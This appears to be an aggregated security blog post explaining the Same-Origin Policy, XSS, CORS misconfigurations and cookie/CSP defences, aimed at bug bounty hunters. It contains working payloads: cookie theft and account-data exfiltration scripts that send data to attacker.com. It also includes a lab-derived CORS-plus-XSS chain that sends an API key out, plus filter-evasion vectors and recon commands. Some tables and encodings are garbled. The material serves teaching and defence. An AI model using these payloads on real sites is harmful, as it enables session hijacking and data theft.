Listen to this Post

Introduction:
Cross-Site Scripting (XSS) remains one of the most prevalent web application vulnerabilities, yet the majority of security practitioners reduce it to a simple payload that triggers a popup. This oversimplification misses the entire point. The Same-Origin Policy (SOP) is the browser’s fundamental isolation mechanism that prevents websites from attacking each other. An XSS vulnerability is not about showing an alert—it is about bypassing SOP entirely. When you inject a script into a website, that script executes on that website’s origin, granting it same-origin privileges to read cookies, steal session tokens, exfiltrate data, and make authenticated requests. Understanding this distinction separates those who can pop an alert from those who can explain why that alert actually matters.
Learning Objectives:
- Master the Same-Origin Policy (SOP) and its role in web application security
- Understand how XSS exploits SOP to gain unauthorized access to sensitive data
- Learn to chain CORS misconfigurations with XSS for critical data extraction
- Implement effective mitigation strategies including cookie flags and CSP
You Should Know:
- Same-Origin Policy: The Browser’s First Line of Defense
The Same-Origin Policy restricts scripts on one origin from accessing data from another origin. An origin consists of three components: URI scheme (protocol), domain, and port number. For example, http://normal-website.com/example/example.html` has the schemehttp, domainnormal-website.com, and port80`.
Two URLs are considered same-origin only if their protocol, port, and host are identical. Consider this table:
| URL Accessed | Access Permitted? |
|–|-|
| `http://normal-website.com/example/` | Yes: same scheme, domain, and port |
| `https://normal-website.com/example/` | No: different scheme and port |
| `http://en.normal-website.com/example/` | No: different domain |
| `http://normal-website.com:8080/example/` | No: different port |
Without SOP, a malicious website could read your emails from Gmail, private messages from Facebook, and any other data from sites you visit. The SOP generally controls what JavaScript code can access when content is loaded cross-domain. While cross-origin loading of resources like images, videos, and scripts is permitted, JavaScript cannot read the contents of these resources.
How to Verify SOP Enforcement
To test SOP enforcement in your browser, open the developer console (F12) and execute:
// This will throw a security error if cross-origin
try {
const iframe = document.createElement('iframe');
iframe.src = 'https://example.com';
document.body.appendChild(iframe);
console.log(iframe.contentWindow.document.body.innerHTML);
} catch(e) {
console.log('SOP blocked cross-origin access:', e.message);
}
2. XSS: Bypassing SOP from the Inside
An XSS vulnerability allows an attacker to inject malicious scripts into a trusted website. When injected, that script runs on the website’s origin—it is same-origin, not cross-origin. SOP does not block it. The script can:
- Read cookies and session tokens
- Make authenticated requests on behalf of the user
- Exfiltrate sensitive data to attacker-controlled servers
- Perform actions the user is authorized to perform
This is why XSS is so dangerous. It effectively turns the browser’s security model against itself.
Common XSS Payloads for Testing
<!-- Reflected XSS test -->
<script>alert('XSS')</script>
<!-- Cookie theft payload -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
<!-- Session hijacking -->
<script>
var req = new XMLHttpRequest();
req.open('GET', '/accountDetails', true);
req.withCredentials = true;
req.onload = function() {
fetch('https://attacker.com/exfil?data=' + encodeURIComponent(this.responseText));
};
req.send();
</script>
3. CORS: When SOP Is Intentionally Relaxed
Cross-Origin Resource Sharing (CORS) is a mechanism that allows websites to relax SOP for legitimate cross-domain communication. When a server responds with specific CORS headers, it tells the browser that cross-origin requests are permitted.
Key CORS Headers
| Header | Purpose |
|–||
| `Access-Control-Allow-Origin` | Specifies which origins can access the resource |
| `Access-Control-Allow-Credentials` | Indicates whether credentials (cookies) can be included |
| `Access-Control-Allow-Methods` | Lists allowed HTTP methods |
| `Access-Control-Allow-Headers` | Lists allowed request headers |
Testing for CORS Misconfigurations
Use `curl` to test CORS configurations:
Test if origin is reflected curl -sI "https://target.com/api/profile" -H "Origin: https://evil.attacker.com" Check for Access-Control-Allow-Credentials curl -sI "https://target.com/api/profile" -H "Origin: https://evil.attacker.com" | grep -i "access-control" Using Burp Suite extension for automated CORS testing CORS Burp Extension can automate this process
- Chaining CORS Misconfigurations with XSS for Critical Data Extraction
The real power emerges when you chain a CORS misconfiguration with an XSS vulnerability. Consider this scenario:
- A server trusts all subdomains regardless of protocol
2. A subdomain has a reflected XSS vulnerability
- The main domain has an API endpoint returning sensitive data with `Access-Control-Allow-Credentials: true`
Step-by-Step Exploitation
Step 1: Identify CORS Misconfiguration
Send request with Origin header curl -sI "https://target.com/accountDetails" \ -H "Origin: http://subdomain.target.com" \ -H "Cookie: session=xxx"
If the response contains Access-Control-Allow-Origin: http://subdomain.target.com` andAccess-Control-Allow-Credentials: true`, the CORS configuration is vulnerable.
Step 2: Find XSS on Trusted Subdomain
Look for input reflection on the trusted subdomain. In PortSwigger’s lab, the `productId` parameter in the stock subdomain was vulnerable to XSS.
Step 3: Craft the Exploit Payload
<script>
document.location="http://stock.target.com/?productId=4<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://target.com/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com/log?key=' + encodeURIComponent(this.responseText);
};
</script>&storeId=1"
</script>
This payload:
- Navigates to the vulnerable subdomain with the XSS payload
2. The XSS executes in the victim’s browser
- It makes an authenticated request to the API endpoint using the victim’s session cookies
4. The CORS configuration allows the cross-origin request
- The API key is exfiltrated to the attacker’s server
Step 4: Deliver the Exploit
Host the exploit on an attacker-controlled server and deliver the URL to the victim.
- Defensive Measures: Cookie Flags and Content Security Policy
HttpOnly Flag
The `HttpOnly` flag prevents client-side scripts from accessing cookie values, limiting cookie access to server-side code only. This is the most effective defense against cookie theft via XSS.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
Secure Flag
The `Secure` flag ensures cookies are only transmitted over HTTPS connections.
SameSite Flag
The `SameSite` attribute controls whether cookies are sent with cross-site requests, helping prevent CSRF attacks. Options include:
– Strict: Cookies only sent for same-site requests
– Lax: Cookies sent for top-level cross-site navigations
– None: Cookies sent for all cross-site requests (must be combined with Secure)
Content Security Policy (CSP)
Implement a strict CSP to limit which scripts can execute:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; base-uri 'self'
Testing Cookie Security
Check cookie flags using curl curl -sI "https://target.com/login" | grep -i "set-cookie" Using browser developer console document.cookie Will not show HttpOnly cookies
6. XSS Filter Evasion Techniques
Attackers employ various techniques to bypass XSS filters:
Case Manipulation
<ScRiPt>alert('XSS')</ScRiPt> <!-- Bypass case-sensitive filters -->
Event Handlers
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
Encoding Bypasses
<!-- URL encoding -->
<a href="javascript:alert('XSS')">Click</a>
<!-- HTML entity encoding -->
<script>alert&x28;&x27;XSS&x27;&x29;</script>
DOM-based XSS
// Vulnerable code
document.write('
<h1>' + location.hash.substring(1) + '</h1>
');
// Exploit
https://target.com/<img src=x onerror=alert('XSS')>
7. Hunting for XSS in Bug Bounty Programs
Reconnaissance Phase
Enumerate subdomains subfinder -d target.com -all -o domains.txt -r resolvers.txt Filter live hosts httpx -l domains.txt -mc 200 -o 200-httpx.txt -http-proxy http://127.0.0.1:8080 Nuclei for misconfiguration scanning nuclei -tags misconfig,cve -l urls.txt -rl 75 -es low,info
Manual Testing Approach
- Identify input vectors: All parameters, headers, and user-controlled data
- Test for reflection: Submit test strings and check if they appear in responses
- Bypass filters: Try different payloads, encoding, and context-specific vectors
- Confirm impact: Demonstrate data exfiltration or session hijacking
- Chain vulnerabilities: Combine XSS with CORS, CSRF, or other weaknesses
What Undercode Say:
- XSS is an SOP bypass, not a payload problem. The alert() is just proof of concept; the real threat is unauthorized access to same-origin data.
- Cookie flags are your first line of defense. HttpOnly, Secure, and SameSite significantly reduce XSS impact even when vulnerabilities exist.
- CORS misconfigurations amplify XSS impact. A permissive CORS policy turns a reflected XSS into a full account takeover.
- Defense in depth is non-1egotiable. Relying on a single security control invites disaster; combine CSP, cookie flags, input validation, and output encoding.
Analysis: The security community often treats XSS as a solved problem, yet it consistently ranks in the OWASP Top 10. The disconnect lies in the misconception that XSS is about payloads rather than policy bypass. SOP is the browser’s fundamental security model, and XSS exploits it from within. Understanding this shifts the focus from memorizing payloads to understanding the underlying security mechanisms being bypassed. This deeper understanding enables more effective hunting, better reporting, and stronger defenses. For bug bounty hunters, the ability to explain the business impact of an XSS vulnerability—beyond showing a popup—is what separates critical findings from informational ones.
Prediction:
- +1 XSS will remain a top-tier vulnerability for the foreseeable future as web applications grow increasingly complex and attack surfaces expand.
- +1 AI-assisted code generation will introduce new XSS vectors as developers rely on LLMs without proper security validation.
- -1 The rise of WebAssembly and increasingly permissive CORS policies in microservices architectures will create novel SOP bypass techniques.
- -1 Legacy applications with outdated security controls will continue to be prime targets, as migrating to modern frameworks is often prohibitively expensive.
- +1 Bug bounty programs will increasingly reward researchers who demonstrate business impact through chained vulnerabilities rather than isolated findings.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Sufiyan Sm – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


